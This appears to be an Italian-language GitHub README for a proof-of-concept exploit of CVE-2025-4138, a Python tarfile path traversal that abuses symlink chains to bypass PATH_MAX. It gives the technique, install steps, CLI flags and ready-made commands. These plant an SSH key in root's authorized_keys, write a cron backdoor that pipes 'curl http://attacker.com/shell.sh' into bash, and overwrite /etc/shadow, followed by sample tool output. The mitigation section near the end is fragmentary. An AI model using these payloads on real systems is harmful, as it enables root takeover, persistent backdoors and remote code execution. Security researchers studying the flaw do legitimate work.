
PoC Python per CVE-2025-4138, una path traversal nel modulo tarfile di Python che abusa di catene di symlink per aggirare PATH_MAX per la scrittura arbitraria di file.
tarfile PythonAutore: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Un exploit proof-of-concept per CVE-2025-4138, una vulnerabilità di path traversal nel modulo tarfile di Python. La vulnerabilità consente a un aggressore di creare un archivio tar dannoso che scrive file in posizioni arbitrarie al di fuori della directory di estrazione prevista, abusando di catene di symlink per superare PATH_MAX.
| Field | Value |
|---|---|
| ID CVE | CVE-2025-4138 |
| Componente | Modulo tarfile di Python |
| Tipo | Path Traversal (CWE-22) |
| Vettore | Catena di symlink + bypass di PATH_MAX |
| Impatto | Scrittura arbitraria di file al di fuori della directory di estrazione |
L'exploit opera in quattro fasi:
Inflazione del percorso -- Viene costruita una catena di directory e symlink profondamente annidati in modo che il percorso completamente risolto superi il limite PATH_MAX del kernel (4096 byte su Linux).
Symlink pivot -- Viene aggiunto un symlink il cui percorso risolto supera il confine di PATH_MAX. Poiché il percorso è troppo lungo per essere risolto, i controlli di sicurezza di tarfile in Python (che si basano su os.path.realpath()) falliscono silenziosamente e saltano la validazione.
Symlink di fuga -- Un secondo symlink utilizza la traversione ../ attraverso il pivot per fuoriuscire completamente dalla directory di estrazione e puntare a un percorso assoluto controllato dall'aggressore sul filesystem.
Rilascio del payload -- Un file regolare viene scritto attraverso il symlink di fuga, finendo nel percorso di destinazione con contenuti e permessi controllati dall'aggressore.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
Non sono richieste dipendenze esterne -- l'exploit utilizza solo i moduli della libreria standard di Python 3.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| Flag | Description |
|---|---|
-o, --output | Percorso del tarball di output (predefinito: exploit.tar) |
-t, --target | Percorso assoluto del file da scrivere sul target (predefinito: /root/.ssh/authorized_keys) |
-p, --payload | Percorso di un file i cui contenuti diventano il payload |
-s, --payload-string | Usa una stringa letterale come payload |
-k, --ssh-key | Percorso di un file di chiave pubblica SSH |
-m, --mode | Modalità di permesso del file in ottale (predefinito: 0600) |
-d, --depth | Profondità di attraversamento delle directory (predefinito: 8) |
-v, --verify | Mostra il contenuto del tarball dopo la creazione |
-q, --quiet | Sopprimi il banner |
Scrivere una chiave pubblica SSH in authorized_keys di root:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Scrivere un job cron per la persistenza:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Scrivere contenuti di file arbitrari da un file locale:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+) che fornisce controlli di estrazione più rigorosi.--strip-components o valida il contenuto dell'archivio prima dell'estrazione.fs.protected_symlinks).Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Ottieni sempre la dovuta autorizzazione scritta prima di effettuare test su sistemi che non possiedi.
Questo progetto è concesso in licenza MIT.
d3vn0mi | GitHub